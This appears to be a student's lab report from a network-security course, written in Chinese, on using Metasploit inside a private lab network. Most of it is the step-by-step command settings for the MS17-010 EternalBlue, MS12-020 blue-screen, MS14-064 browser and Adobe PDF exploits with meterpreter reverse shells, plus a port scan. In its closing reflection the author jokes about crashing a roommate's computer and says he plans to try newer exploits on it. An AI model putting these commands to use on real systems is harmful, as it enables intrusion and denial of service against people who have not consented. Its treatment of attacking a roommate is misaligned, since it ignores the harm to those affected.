2018-2019 网络对抗技术 20165231 Exp5 MSF基础应用
实践内容（3.5分）
本实践目标是掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。具体需要完成：
1.1一个主动攻击实践（1分）
- ms08_067; （失败）
- MS17-010永恒之蓝（成功）
- MS12-20（比永恒之蓝更蓝的蓝屏）（本来以为唯一后来不唯一了）
1.2 一个针对浏览器的攻击（1分）
- ms14_064（成功）
1.3 一个针对客户端的攻击（1分）
- Adobe（成功）
1.4 成功应用任何一个辅助模块。（0.5分）
- 扫描查看靶机开放端口（唯一）
以上四个小实践可不限于以上示例，并要求至少有一个是和其他所有同学不一样的，否则扣除0.5分。
实验过程
基础问题回答
（1）用自己的话解释什么是exploit,payload,encode.
任务一：一个主动攻击实践
漏洞MS08_067
关于漏洞MS08_067的原理
msfconsole进入msf控制台
search ms08_067查看该漏洞
use exploit/windows/smb/ms08_067_netapi使用该漏洞
show payloads回链攻击载荷
set LHOST 192.168.70.131 //攻击机的ip地址set LPORT 5231 //攻击的端口
set RHOST 192.168.70.140 //靶机的ip地址
set target 0 //选择目标系统类型
exploit //进行攻击
关闭防火墙，改变安全策略，查看445端口状况，甚至改变winxp版本，由中文版改成英文版
很遗憾始终是只能检测出系统却无法生成有效的会话
ms17_010永恒之蓝
攻击方：kali 192.168.70.131
靶机：win7 192.168.70.130
输入msfconsole指令，打开控制台；
依次输入以下指令进行设置与攻击：
set payload windows/x64/meterpreter/reverse_tcp //选择攻击载荷set LHOST 192.168.70.131 //设置攻击方ip
set RHOST 192.168.70.130 //设置靶机ip
exploit
连接成功
尝试命令查看靶机ip
MS12-20
攻击机kali 192.168.70.131
靶机windows 7 192.168.70.130
用kali自带的的扫描工具nmap 查看靶机是否开启3389端口。（没开就把他打开！）
扫描之后发现3389是开放的，然后启动msfconsole， 利用里面的模块查看是否存在Ms12-020漏洞。
查询模块
set RHOST 192.168.70.130 //设置靶机地址然后exploit
100%表示可以攻击
攻击模块
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids //加载攻击模块
set RHOST 192.168.70.130 //设置靶机地址然后还是exploit
出现seems down说明靶机已经蓝上了！
一个针对浏览器的攻击
ms14_064
主机 kali 192.168.70.131
靶机 Windows XP SP3 192.168.70.141
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.70.131
set LPORT 2016
set URIPATH wyhy
然后exploit开启监听，然后生成网址，将这个网址在靶机打开后攻击机就捕获了靶机，建立会话
一个针对客户端的攻击
Adobe
攻击方：kali 192.168.70.131
靶机：winxp 192.168.70.141
输入msfconsole指令，打开控制台；
依次输入以下指令进行设置
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 192.168.70.131//攻击方IP
set LPORT 5231 //攻击方攻击端口
set FILENAME wyhy_exp5.pdf
在终端中，将生成的文件按照文件路径复制出来，并复制到靶机中
在kali中重新打开，并输入以下指令进行监听：
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 192.168.70.131 //攻击方IP
set LPORT 5231 //攻击方攻击端口
exploit //监听
辅助模块
查看靶机端口
使用auxiliary/scanner/portscan/tcp模块，用来扫描靶机的TCP端口使用情况；
执行命令use auxiliary/scanner/portscan/tcp进入并使用模块；
show options查看需要设置的参数信息，设置靶机的ip为RHOST
set PORT 1-5231然后expolit
基础问题回答
- 用自己的话解释什么是exploit,payload,encode.
exploit:英文翻译为利用，黑客就是利用漏洞对电脑进行攻击，有漏洞不一定可以利用，但可以利用的一定有漏洞。
payload：有效载荷。通常在传输数据时，为了使数据传输更可靠，要把原始数据分批传输，并且在每一批数据的头和尾都加上一定的辅助信息，而其中的原始数据就是payload
encode：编码器，用来给payload进行编码，保护payload不被发现
离实战还缺些什么技术或步骤？
实战？首先我们只能在自己的局域网内实现。对于外网，不在同一子网下的地址锁定无法实现就无法实战攻击，我觉得这是目前最大缺憾。
实验感想
这次我最喜欢的就是那个蓝屏漏洞，在CSDN上逛到的以为我是独一无二结果……不过还是觉得那个很好玩，起初想做这个是想搞一下正在打Apex的室友让他感受一下快要吃鸡蓝个屏，但是系统版本高了没啥用。后续我会继续利用更新的漏洞让室友感受吃不到鸡的乐趣o(￣▽￣)o
